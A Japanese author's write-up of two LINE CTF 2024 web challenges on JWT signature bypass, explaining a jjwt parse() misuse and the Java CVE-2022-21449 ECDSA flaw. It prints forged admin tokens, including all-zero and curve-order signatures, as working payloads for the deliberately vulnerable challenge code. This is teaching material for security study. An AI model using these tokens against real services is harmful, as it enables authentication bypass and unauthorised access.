こんにちは、@usszkです!
2024/3/23 9:00(JST) - 3/24 9:00(JST)で実施されたLINE CTFにおいて、Webジャンルのjalyboy-babyとjalyboy-jalygirlを作問しました。本記事はその解説となります。なお、CTFの開催からだいぶ時間が空いてしまいましたので、あ〜そんな問題あったな〜と懐かしんでいただければ幸いです。
目次
まずはjalyboy-babyから解説します。
jalyboy-baby (100 pts, 418 solves)
解説

チャレンジのURLとソースコードが配布されており、 ソースコードにはDockerfileとdocker-compose.ymlが含まれています。以下からソースコードをダウンロードできますので、ぜひ試してみてください。
jalyboy-baby_7a1dfa2b72cd021aa085071bc93efada.zip
zipを解凍後、docker-compose.ymlのあるディレクトリでdocker compose up でアプリケーションをローカルで起動してみましょう。起動すると、http://localhost:10000でアプリケーションにアクセスできるはずです。

login as guest と login as admin というボタンがあり、後者はdisabledになっています。 login as guest を押すと、次のようなURLに遷移するとともに、 Hi unknown から Hi guest にメッセージが変わります。
http://localhost:10000/?j=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.SdeGPWnK0F8QANwBMWhJbb15VjkEt8vPZLRTh4OgeKE
このURLに含まれているJWTをパースしてみましょう。JWTはHeaderとPayloadとSignatureの3つのパートに分かれているのでしたね。HeaderとPayloadをbase64でデコードしてみましょう。
$ echo -n eyJhbGciOiJIUzI1NiJ9 | base64 -d
{"alg":"HS256"}
$ echo -n eyJzdWIiOiJndWVzdCJ9 | base64 -d
{"sub":"guest"}
署名アルゴリズムとして、SHA256を使用したHMACであるHS256が使われているようです。また、sub claimにはguestが指定されており、これに署名をすることでSubject(認証を受ける主体)がguestであるということを証明しています。
(keyはsubでなくてもいいのですが、RFC7519に定義された登録済みクレーム名というものに従っています。有効期限を示すexpや、jwtそのものを一意に識別するjtiなど、いろいろありますね。)
ここで、 {"sub":"guest"} を {"sub":"admin"} にできれば良さそうだな、と感じることでしょう。その直感を確信に変えるために、ソースコードを読んでみます。
$ tree
.
├── Dockerfile
├── README.md
├── build.gradle
├── docker-compose.yml
├── gradle
│ └── wrapper
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── gradle-wrapper.properties
├── gradlew
├── gradlew.bat
├── settings.gradle
└── src
└── main
├── java
│ └── me
│ └── linectf
│ └── jalyboy
│ ├── JwtApplication.java
│ └── JwtController.java
└── resources
├── application.properties
└── templates
└── index.ftlh
11 directories, 14 files
たくさんファイルがありますが、JwtApplication.java, JwtController.javaあたりがアプリケーションの実装のようです。試しにJwtApplication.javaを見てみると、
package me.linectf.jalyboy;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class JwtApplication {
public static void main(String[] args) {
SpringApplication.run(JwtApplication.class, args);
}
}
Spring Bootアプリケーションのようですね。JwtController.javaはどうでしょうか。
package me.linectf.jalyboy;
import io.jsonwebtoken.*;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import java.security.Key;
import java.security.KeyPair;
@Controller
public class JwtController {
public static final String ADMIN = "admin";
public static final String GUEST = "guest";
public static final String UNKNOWN = "unknown";
public static final String FLAG = System.getenv("FLAG");
Key secretKey = Keys.secretKeyFor(SignatureAlgorithm.HS256);
@GetMapping("/")
public String index(@RequestParam(required = false) String j, Model model) {
String sub = UNKNOWN;
String jwt_guest = Jwts.builder().setSubject(GUEST).signWith(secretKey).compact();
try {
Jwt jwt = Jwts.parser().setSigningKey(secretKey).parse(j);
Claims claims = (Claims) jwt.getBody();
if (claims.getSubject().equals(ADMIN)) {
sub = ADMIN;
} else if (claims.getSubject().equals(GUEST)) {
sub = GUEST;
}
} catch (Exception e) {
// e.printStackTrace();
}
model.addAttribute("jwt", jwt_guest);
model.addAttribute("sub", sub);
if (sub.equals(ADMIN)) model.addAttribute("flag", FLAG);
return "index";
}
}
Controllerはユーザーからのリクエストを受け取るComponentであり、多くの場合はControllerから読み進めるのが良いでしょう。
このソースコードからは、
- /というpathではGET methodで
jというリクエストパラメーターを受け取り、 - それをJWTとしてサーバー起動時にランダムに生成された
secretKeyで署名を検証している(と思われ)、 - subjectがadminであればテンプレートに環境変数から取得したFLAGが追加されている
ということがわかります。
{"sub":"admin"}にするには署名の検証をどうにかして回避する必要があります。
-
secretKeyを全力で割り出す
-
署名の検証を迂回する脆弱性を悪用する
1のsecretKeyを全力で割り出すですが、大体のケースで不可能です。keyのサイズはHS256の場合256bitで、2**256=115792089237316195423570985008687907853269984665640564039457584007913129639936個の鍵を総当たりしなければいけません。現実的な時間、ましてやCTFの開催期間内に目当ての鍵にたどり着ける可能性は著しく低いです。また、メタなことを言うとこれで解けた場合にCTFの問題として面白くありません。
もちろん現実世界では起こり得ます。secretkeyにすごい単純な文字列、あるいは意図せずエントロピーが低くなってしまっていて、現実的な時間で秘密鍵を割り出せてしまう可能性はあります。
(脆弱性診断をしている身としては、こればかりはソースコードを読んでも検知できないのでJWTの嫌なところです。もちろん、ソースコードに秘密鍵が書いてあればわかりますが、それはそれで大きな問題です。)
さて、2. 署名の検証を迂回する脆弱性を悪用するという方針でいくことにします。
JWTの署名を回避する代表的なものとしては、algo=HS256ではなくalgo=noneを使う、というものがあります。
algo=noneとは、Json Web Algorithmの標準であるRFC-7518に記載されているalgorithmで、このalgorithmのJWT(Unsecured JWS)は空の署名を持ち、署名の検証は行われません。
これが通るか試してみましょう。
$ echo -n '{"algo": "none"}' | base64
eyJhbGdvIjogIm5vbmUifQ==
$ echo -n '{"sub": "admin"}' | base64
eyJzdWIiOiAiYWRtaW4ifQ==
これらをdotで連結してJWTを生成します。(正確には、Base64Urlという、url-safeなencodeをする必要があります。+/を-_に置換し、=を省略します。今回は+/はありませんでしたが…)
eyJhbGdvIjogIm5vbmUifQ.eyJzdWIiOiAiYWRtaW4ifQ.
最終的に http://localhost:10000/?j=eyJhbGdvIjogIm5vbmUifQ.eyJzdWIiOiAiYWRtaW4ifQ. にアクセスすることでFLAGを得ることができます。

補足
なぜ、algo=noneが通ったのでしょうか?この問題で使用している https://github.com/jwtk/jjwt というライブラリが脆弱だったのでしょうか?
実はそうではなく、ライブラリの使用方法に問題がありました。ソースコードの署名検証を行っている(と思われる)箇所をみると、secretKeyが設定されているため署名の検証を行いそうな雰囲気があります。
Jwt jwt = Jwts.parser().setSigningKey(secretKey).parse(j);
しかしながら、正しい実装は以下のとおりです。
Jwt jwt = Jwts.parser().setSigningKey(secretKey).parseClaimsJWS(j);
このことは、README でも言及されています。
NOTE: If you expecting a JWS, always call
JwtParser’sparseClaimsJwsmethod (and not one of the other similar methods available) as this guarantees the correct security model for parsing signed JWTs.
似たようなメソッドがあるけど、必ず**parseClaimsJws** を使ってねということですね。さて一体、parseメソッドはなんなんでしょうか?
答え(実装)はこのあたりにありました。
@Override
public Jwt parse(String jwt) throws ExpiredJwtException, MalformedJwtException, SignatureException {
// (skipped)
if (delimiterCount != 2) {
String msg = "JWT strings must contain exactly 2 period characters. Found: " + delimiterCount;
throw new MalformedJwtException(msg);
}
if (sb.length() > 0) {
base64UrlEncodedDigest = sb.toString();
}
// =============== Header =================
Header header = null;
CompressionCodec compressionCodec = null;
if (base64UrlEncodedHeader != null) {
byte[] bytes = base64UrlDecoder.decode(base64UrlEncodedHeader);
String origValue = new String(bytes, Strings.UTF_8);
Map<String, Object> m = (Map<String, Object>) readValue(origValue);
if (base64UrlEncodedDigest != null) {
header = new DefaultJwsHeader(m);
} else {
header = new DefaultHeader(m);
}
compressionCodec = compressionCodecResolver.resolveCompressionCodec(header);
}
// =============== Body =================
String payload = ""; // https://github.com/jwtk/jjwt/pull/540
if (base64UrlEncodedPayload != null) {
byte[] bytes = base64UrlDecoder.decode(base64UrlEncodedPayload);
if (compressionCodec != null) {
bytes = compressionCodec.decompress(bytes);
}
payload = new String(bytes, Strings.UTF_8);
}
Claims claims = null;
if (!payload.isEmpty() && payload.charAt(0) == '{' && payload.charAt(payload.length() - 1) == '}') { //likely to be json, parse it:
Map<String, Object> claimsMap = (Map<String, Object>) readValue(payload);
claims = new DefaultClaims(claimsMap);
}
// =============== Signature =================
if (base64UrlEncodedDigest != null) { //it is signed - validate the signature
JwsHeader jwsHeader = (JwsHeader) header;
SignatureAlgorithm algorithm = null;
if (header != null) {
String alg = jwsHeader.getAlgorithm();
if (Strings.hasText(alg)) {
algorithm = SignatureAlgorithm.forName(alg);
}
}
if (algorithm == null || algorithm == SignatureAlgorithm.NONE) {
//it is plaintext, but it has a signature. This is invalid:
String msg = "JWT string has a digest/signature, but the header does not reference a valid signature " +
"algorithm.";
throw new MalformedJwtException(msg);
}
if (key != null && keyBytes != null) {
throw new IllegalStateException("A key object and key bytes cannot both be specified. Choose either.");
} else if ((key != null || keyBytes != null) && signingKeyResolver != null) {
String object = key != null ? "a key object" : "key bytes";
throw new IllegalStateException("A signing key resolver and " + object + " cannot both be specified. Choose either.");
}
//digitally signed, let's assert the signature:
Key key = this.key;
if (key == null) { //fall back to keyBytes
byte[] keyBytes = this.keyBytes;
if (Objects.isEmpty(keyBytes) && signingKeyResolver != null) { //use the signingKeyResolver
if (claims != null) {
key = signingKeyResolver.resolveSigningKey(jwsHeader, claims);
} else {
key = signingKeyResolver.resolveSigningKey(jwsHeader, payload);
}
}
if (!Objects.isEmpty(keyBytes)) {
Assert.isTrue(algorithm.isHmac(),
"Key bytes can only be specified for HMAC signatures. Please specify a PublicKey or PrivateKey instance.");
key = new SecretKeySpec(keyBytes, algorithm.getJcaName());
}
}
Assert.notNull(key, "A signing key must be specified if the specified JWT is digitally signed.");
//re-create the jwt part without the signature. This is what needs to be signed for verification:
String jwtWithoutSignature = base64UrlEncodedHeader + SEPARATOR_CHAR;
if (base64UrlEncodedPayload != null) {
jwtWithoutSignature += base64UrlEncodedPayload;
}
JwtSignatureValidator validator;
try {
algorithm.assertValidVerificationKey(key); //since 0.10.0: https://github.com/jwtk/jjwt/issues/334
validator = createSignatureValidator(algorithm, key);
} catch (WeakKeyException e) {
throw e;
} catch (InvalidKeyException | IllegalArgumentException e) {
String algName = algorithm.getValue();
String msg = "The parsed JWT indicates it was signed with the " + algName + " signature " +
"algorithm, but the specified signing key of type " + key.getClass().getName() +
" may not be used to validate " + algName + " signatures. Because the specified " +
"signing key reflects a specific and expected algorithm, and the JWT does not reflect " +
"this algorithm, it is likely that the JWT was not expected and therefore should not be " +
"trusted. Another possibility is that the parser was configured with the incorrect " +
"signing key, but this cannot be assumed for security reasons.";
throw new UnsupportedJwtException(msg, e);
}
if (!validator.isValid(jwtWithoutSignature, base64UrlEncodedDigest)) {
String msg = "JWT signature does not match locally computed signature. JWT validity cannot be " +
"asserted and should not be trusted.";
throw new SignatureException(msg);
}
}
// (skipped)
if (base64UrlEncodedDigest != null) {
return new DefaultJws<>((JwsHeader) header, body, base64UrlEncodedDigest);
} else {
return new DefaultJwt<>(header, body);
}
}
(一部省略して記載しています。)
要は、Header, Payload, Signatureの3つのパートに分けて、Signatureが存在するなら署名を検証した上でJWSを返し、SignatureがなければJWTとして返すといういわば”万能”メソッドで、その他のparse~系メソッドから呼ばれているようです。
したがって、Signatureが存在しなければなんでもよくて、例えば以下のようなJWTも受け入れられてしまいます。
# 3partsあり、Signatureがないので *受け入れられる*
# http://localhost:10000/?j=eyJhbGdvIjogImN0ZiJ9.eyJzdWIiOiAiYWRtaW4ifQ.
echo -n '{"algo": "ctf"}' | base64
eyJhbGdvIjogImN0ZiJ9
# 3partsあり、Signatureがないので *受け入れられる*
# http://localhost:10000/?j=.eyJzdWIiOiAiYWRtaW4ifQ.
# 3partsないので受け入れられない
# http://localhost:10000/?j=eyJhbGdvIjogImN0ZiJ9.eyJzdWIiOiAiYWRtaW4ifQ
# Signatureがあるので、JWSとして署名検証され、受け入れられない
# http://localhost:10000/?j=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.SdeGPWnK0F8QANwBMWhJbb15VjkEt8vPZLRTh4OgeKA
# Signatureがないので、受け入れられる。
# http://localhost:10000/?j=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.
(ちなみに、今回の問題で使用しているjjwtはv0.11です。v0.12ではこのあたりも含め、大きく変更されているようです。)
以上、JWTの署名検証を、algo=Noneにして迂回するというシンプルな問題でした。
例年難しすぎて一問も解けなかったという声が散見されたため、次に出す問題の肩慣らし的な意味も込めて簡単な問題を出題しました。既知の手法を試すだけになってしまっているのはあまり好ましくなかったのですが、結果的に多くの方に解いてもらえたようでよかったです。
次はメインの問題であるjalyboy-jalygirlについて解説します。
jalyboy-jalygirl (100 pts, 152 solves)
解説

babyと同様に課題URLとソースコードが提供されています。URLのアクセスすると次のようになっています。

babyからの変更点は以下の通り数行のみです。
diff -r jalyboy-baby/docker-compose.yml jalyboy-jalygirl/docker-compose.yml
6c6
< - "10000:10000"
---
> - "10001:10000"
diff -r jalyboy-baby/src/main/java/me/linectf/jalyboy/JwtController.java jalyboy-jalygirl/src/main/java/me/linectf/jalyboy/JwtController.java
21c21
< Key secretKey = Keys.secretKeyFor(SignatureAlgorithm.HS256);
---
> KeyPair keyPair = Keys.keyPairFor(SignatureAlgorithm.ES256);
26c26
< String jwt_guest = Jwts.builder().setSubject(GUEST).signWith(secretKey).compact();
---
> String jwt_guest = Jwts.builder().setSubject(GUEST).signWith(keyPair.getPrivate()).compact();
29c29
< Jwt jwt = Jwts.parser().setSigningKey(secretKey).parse(j);
---
> Jws<Claims> jwt = Jwts.parser().setSigningKey(keyPair.getPublic()).parseClaimsJws(j);
diff -r jalyboy-baby/src/main/resources/templates/index.ftlh jalyboy-jalygirl/src/main/resources/templates/index.ftlh
50c50
< <body class="light">
---
> <body class="dark">
52c52
< <h1>LINECTF2024 | jalyboy-baby</h1>
---
> <h1>LINECTF2024 | jalyboy-jalygirl</h1>
55c55
< <p>flag is <code>${flag} 🎉</code></p>
---
> <p>flag is <code>${flag}</code> 🎉</p>
JWTの署名方式が、HS256からES256となっており、JWT(JWS)のparseにparseClaimsJwsが使用されているためbabyと同様の攻撃手法では署名検証をバイパスすることはできません。
つまりES256の署名検証をバイパスする必要があるのですが、ここでDockerfileをみると、openjdkの17.0.1というバージョンに固定されていることがわかります。
FROM openjdk:17.0.1-jdk-slim
実はこのversionのjavaには、ECDSA署名の検証を回避できてしまう脆弱性CVE-2022-21449があります。
CVE-2022-21449: Psychic Signatures in Java
つまり、このversionのjavaでECDSA署名の検証をするような実装があれば、それは回避されてしまう可能性があるということです。そしてこの脆弱性は、JJWTに影響がありました。実際に試してみましょう。
ECDSAに関する説明は今は省きますが(今後アップデートして追加するかもしれない)、この脆弱性は署名(r, s)として本来の署名ではなく(0, 0)を与えても署名検証が通ってしまうというものでした。では、JWTの署名でr, sはどのように表現すればいいでしょうか。
JWTでは、r, sをそれぞれ256bitのunsigned integerで表現し連結する方式(IEEE P1363)が標準で用いられます。(https://datatracker.ietf.org/doc/html/rfc7518#section-3.4を参照)
したがって、r, sはそれぞれ32文字の\x00で表され、それを連結しbase64 encodeを適用すると、
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
が署名となります。
したがって、署名検証をbypassするJWTは
eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiAiYWRtaW4ifQ.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
となるはずなのですが、FLAGを入手することはできません。というのも、r, sが共に0の場合にJJWT libraryの内部で配列の境界外アクセスが発生し、検証に失敗してしまいます。
app-1 | io.jsonwebtoken.security.SignatureException: Unable to verify Elliptic Curve signature using configured ECPublicKey. Index 64 out of bounds for length 64
app-1 | at io.jsonwebtoken.impl.crypto.EllipticCurveSignatureValidator.isValid(EllipticCurveSignatureValidator.java:55)
app-1 | at io.jsonwebtoken.impl.crypto.DefaultJwtSignatureValidator.isValid(DefaultJwtSignatureValidator.java:61)
app-1 | at io.jsonwebtoken.impl.DefaultJwtParser.parse(DefaultJwtParser.java:417)
app-1 | at io.jsonwebtoken.impl.DefaultJwtParser.parse(DefaultJwtParser.java:550)
app-1 | at io.jsonwebtoken.impl.DefaultJwtParser.parseClaimsJws(DefaultJwtParser.java:610)
app-1 | at me.linectf.jalyboy.JwtController.index(JwtController.java:29)
app-1 | at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
app-1 | at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
app-1 | at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
app-1 | at java.base/java.lang.reflect.Method.invoke(Method.java:568)
app-1 | at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)
app-1 | at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150)
app-1 | at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118)
app-1 | at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:884)
app-1 | at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:797)
app-1 | at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
app-1 | at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1081)
app-1 | at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:974)
app-1 | at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1011)
app-1 | at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:903)
app-1 | at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:564)
app-1 | at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885)
app-1 | at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:658)
app-1 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:205)
app-1 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
app-1 | at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)
app-1 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174)
app-1 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
app-1 | at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
app-1 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
app-1 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174)
app-1 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
app-1 | at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
app-1 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
app-1 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174)
app-1 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
app-1 | at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
app-1 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
app-1 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174)
app-1 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
app-1 | at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:167)
app-1 | at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
app-1 | at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:482)
app-1 | at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:115)
app-1 | at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
app-1 | at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
app-1 | at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:673)
app-1 | at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:340)
app-1 | at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:391)
app-1 | at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
app-1 | at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:896)
app-1 | at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1744)
app-1 | at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
app-1 | at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
app-1 | at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
app-1 | at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
app-1 | at java.base/java.lang.Thread.run(Thread.java:833)
app-1 | Caused by: java.lang.ArrayIndexOutOfBoundsException: Index 64 out of bounds for length 64
app-1 | at io.jsonwebtoken.impl.crypto.EllipticCurveProvider.transcodeSignatureToDER(EllipticCurveProvider.java:264)
app-1 | at io.jsonwebtoken.impl.crypto.EllipticCurveSignatureValidator.isValid(EllipticCurveSignatureValidator.java:51)
app-1 | ... 56 more
IEEE P1363形式の署名ではうまくいかないことがわかりました。他の方式はないでしょうか?
多くのJWT libraryではサポートされていないことが多いのですが、実はJJWTではASN.1 DERというエンコーディング方式がサポートされています。ASN.1 DERとは、ASN.1という形式のデータ構造をDERという規則でエンコーディングするものです。たとえばr, sはASN.1で2つのINTEGERのSEQUENCEであると表すことができます。これをDERでエンコードすると、
sequence(int 0, int 0)
-> \x30(\x02 \x00, \x02 \x00) // \x30: sequence, \x02: integer
-> \x30\x06\x02\x01\x00\x02\x01\x00) // \x06: size of sequence, \x01: size of integer
-> MAYCAQACAQA== // base64 encoded
となります。
参考: https://letsencrypt.org/ja/docs/a-warm-welcome-to-asn1-and-der/
したがって、以下のJWTでFLAGを得ることができます。
eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiAiYWRtaW4ifQ.MAYCAQACAQA
補足
JWTに対する一般的な攻撃手法が通用しない問題のため、中級者レベルの難易度を想定していましたが、思ったよりも多く解かれてしまいました。というのも脆弱性に気づけば試すだけの問題なので、それはそうという感じですね。問題をもう一捻りしたかったですね。
実は出題前にASN DER.1のその他の表現方法を試してみましたが、うまくいきませんでした。それができていれば、署名は64 byteであるという制約を追加するなどして、「既知の署名を試すだけ」を回避できたのかもしれません。
ところで、参加者の中には別の署名で解かれた方もいました。
_____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ
この署名は(r, s) = (0, 0)ではなく(r, s) = (N, N)となっています。
Nとは、ES256が使用している楕円曲線P256で使われているmod NのNの値0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551 であり、mod Nにおいては0もNも同じなのです。(超簡易説明)
したがってこれを二つ連結してbase64 encodeしたSignatureはArrayIndexOutOfBoundsExceptionで落ちることなく受け入れられるということなんですね。ほえ〜
ちなみに、このSignatureは暗号ライブラリをテストするwycheproofというOSSでカバーされているようです。(というか、脆弱性発見者のブログでも言及されていた…)
https://github.com/C2SP/wycheproof/blob/master/testvectors/json_web_signature_test.json#L3908
最後に、繰り返しますがこれもJJWTの脆弱性ではありません!最善は楕円曲線暗号を利用するような環境において脆弱なJavaのバージョンを使用しないことです。
余談
1: 問題名について
相変わらず問題名の付け方には迷っています。問題や解法となんらかの形で紐づいていたりすると、文化理解の差で不公平になりそうな気がして。。。ですので問題名に特に深い意味はなく、適当につけました。強いて言うとすればLYを含めたかったということと、検索したときにヒットしやすいように存在しない単語にするということくらいです。(検索エンジンによっては、実在しない単語の検索は難しかったりするかも…?)
また、jalyboy-babyに対してjalyboy-easyなどにしようと思いましたが、難易度がeasyであるかの責任が取れないためjalygirlにしました。昨年のMementoに引き続き、潜在的にポケモンに意識が引っ張られています。来年(があるとして)もしポケモン由来みたいな問題名があったら作者のメタ読みをされかねないので、その時は変えます。(文化理解の差による不公平)
2: デザインについて
見た目は特に問題の本質とは関係ないですが、以下の点に注意を払いました。
- UIだけでGuestでログインできることがわかり、Adminでログインしなければならないことが想像つくこと。
初心者向けの問題として考えていたので、何をすればいいかわかりやすいようにUIで伝えるようにしました。もう少しAdminでログインが必要であることのストーリーがあってもよかったのですが、あくまでJWTの署名バイパスに集中してもらいたかったため、このような形になりました。
- 全てのUIを中央に集結させる
Writeupなどにスクリーンショットを載せることが多々あると思うのですが、中央に全てが寄っていればディスプレイサイズが仮に大きくても全ての要素を比較的自由なアスペクト比で収めることができます。Writeup映えしますね。色々な方のwriteupを眺めていると、大体jalyboyのスクリーンショットが載っていたので、この戦略は成功だった気がします。
- 🎉ではなく
🎉を使う
一番どうでもいいこだわりです。解けた時に初めて🎉が見えると、より嬉しいんじゃないかと思ってHTML Entitiyでぼかしました。 🎉 が🎉であると覚えていた方、申し訳ありません。
おわりに
いかがでしたでしょうか?なんか簡単すぎたな〜と思った方、すみませんでした!🙇 作問のネタはほんの少し蓄えていますが、特にCTFチームに所属しているわけでもなく、来年やるかもよくわかっていないので永遠に出題はされないかもしれません。
過去に出題した以下の問題は、いくつかの失敗はあれど気に入っているものなので、ぜひご参照ください。
- JavaのThreadLocalの未初期化をテーマにしたMemento(1 solve)
LINE CTF 2023 [Web] Memento - Author’s writeup - 色即是空
- Node.jsのquerystring.parseの挙動をテーマにしたdoublecheck (solve数は忘れてしまいましたが、いい感じだった記憶がある)
LINE CTF 2021 [Web] doublecheck - 色即是空
では!